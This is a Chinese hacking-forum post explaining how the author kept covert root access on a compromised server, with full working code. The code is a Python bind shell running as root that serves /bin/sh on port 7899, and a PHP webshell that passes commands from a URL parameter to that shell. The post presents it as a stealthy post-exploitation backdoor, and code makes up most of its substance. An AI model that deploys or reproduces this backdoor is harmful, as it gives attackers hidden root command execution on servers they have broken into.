搜索
查看: 2378|回复: 0

低权限php结合高权限python进行socket通信后门

[复制链接]

578

主题

851

帖子

2163

积分

管理员

本论坛第一帅

Rank: 9Rank: 9Rank: 9

积分
2163

热心会员推广达人宣传达人突出贡献优秀版主荣誉管理论坛元老

QQ
发表于 2018-7-20 09:48:48 | 显示全部楼层 |阅读模式
写在前面

这个想法来源于一次攻击尝试,拿到webshell之后发现服务器在内网,而且权限并不是root,通过python的ttyshell反弹回来进行提权获取了root权限,不过为了更加隐蔽而且最重要的是不麻烦的享受root权限,不得不利用web进行控制,如何让web也能够是root权限呢?用root重新启动一次apache?那岂不方便了后来的人。于是就想到用python以root权限运行,然后监听本地端口,留个php后门,需要的时候就连接这个端口发命令过去,python接到后把结果返回去。。。真是猥琐。

python代码(py改编于http://www.leavesongs.com/PYTHON/python-shell-backdoor.html,自己加了循环可以无限次利用)



from socket import *
import subprocess
import os, threading, sys, time

if __name__ == "__main__":
        server=socket(AF_INET,SOCK_STREAM)
        server.bind(('0.0.0.0',7899))
        server.listen(5)
        while True:
                talk, addr = server.accept()
                proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
                        stdout=talk, stderr=talk, shell=True)


php代码

<?php

$service_port = 7899;
$address = '127.0.0.1';

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

socket_set_option($socket,SOL_SOCKET,SO_RCVTIMEO,array("sec"=>2, "usec"=>0 ) );
socket_set_option($socket,SOL_SOCKET,SO_SNDTIMEO,array("sec"=>3, "usec"=>0 ) ); //此处为了防止socket_read阻塞超时,具体超时时间视情况

if ($socket < 0) {
                echo "socket create error: " . socket_strerror($socket) . "\n";
                exit();
} 

$result = socket_connect($socket, $address, $service_port);
if ($result < 0) {
                echo "SOCKET connnect error: ($result) " . socket_strerror($result) . "\n";
                exit();
}

$in = $_GET['cmd']."\n";
socket_write($socket, $in, strlen($in));

while($out = socket_read($socket, 2048)){
        echo $out;
        if(substr($out, -1) == "\n"){ //因为socket_read函数太烦人,没内容会阻塞,干脆就判断上一次结果结尾是不是换行,当然结果取了2048恰好是换行而且还没取完。。。你就中奖了。
                break;
        }

}

socket_close($socket);
?>

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?注册

x
有志者,事竟成,破釜沉舟,百二秦关终属楚. 苦心人,天不负, 卧薪尝胆 ,三千越甲可吞吴
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

温馨提示
1:发帖请遵守《中华人民共和国网络安全法》,发帖内容不得维护国家的、集体的、个人的利益。
2:请勿发布恶意攻击他人的技术文章、工具、和使用教程,发现后删帖处理。
3:本站的目的在于让更多的人了解网络安全,避免受到他人的恶意攻击。
4:本站中的部分文章,可能会出现一些“技术类手段”,但这仅仅为学习演示所用,而非恶意传播技术。
5:本站中的部分文章,可能转载自互联网。如有侵权行为,联系我们删除即可。
6:学习仅是充实头脑,切勿恶意攻击个人、企业等。所造成的法律后果一切由自己承担,本站及其站长概不负责。
我知道了
快速回复 返回顶部 返回列表